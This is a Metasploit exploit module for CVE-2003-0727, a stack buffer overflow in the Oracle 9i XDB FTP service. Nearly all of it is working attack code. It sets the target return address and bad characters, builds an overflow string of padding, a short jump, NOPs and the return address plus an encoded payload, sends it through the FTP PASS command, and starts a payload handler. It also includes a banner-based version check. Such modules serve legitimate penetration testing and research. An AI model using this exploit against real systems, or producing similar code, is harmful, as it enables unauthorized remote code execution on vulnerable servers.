Oracle 9i XDB FTP PASS Overflow (win32)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Oracle 9i XDB FTP PASS Overflow (win32)',
        'Description' => %q{
          By passing an overly long string to the PASS command, a
          stack based buffer overflow occurs. David Litchfield, has
          illustrated multiple vulnerabilities in the Oracle 9i XML
          Database (XDB), during a seminar on "Variations in exploit
          methods between Linux and Windows" presented at the Blackhat
          conference.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2003-0727'],
          [ 'OSVDB', '2449'],
          [ 'BID', '8375'],
          [ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Privileged' => true,
        'Payload' => {
          'Space' => 800,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44"
        },
        'Targets' => [
          [
            'Oracle 9.2.0.1 Universal',
            {
              'Platform' => 'win',
              'Ret' => 0x60616d46 # oraclient9.dll (pop/pop/ret)
            },
          ],
        ],
        'DisclosureDate' => '2003-08-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(2100),])
    deregister_options('FTPUSER', 'FTPPASS')
  end

  def check
    connect
    disconnect
    if (banner =~ /9\.2\.0\.1\.0/)
      return Exploit::CheckCode::Appears('FTP banner indicates Oracle 9i version 9.2.0.1.0')
    end

    return Exploit::CheckCode::Safe('FTP banner does not match Oracle 9i XDB')
  end

  def exploit
    connect

    user = rand_text_alpha_upper(10)
    sploit = rand_text_alpha_upper(442) + Rex::Arch::X86.jmp_short(6)
    sploit << make_nops(2) + [target.ret].pack('V') + payload.encoded

    print_status("Trying target #{target.name}...")

    send_cmd(['USER', user], true)
    send_cmd(['PASS', sploit], false)

    handler
    disconnect
  end
end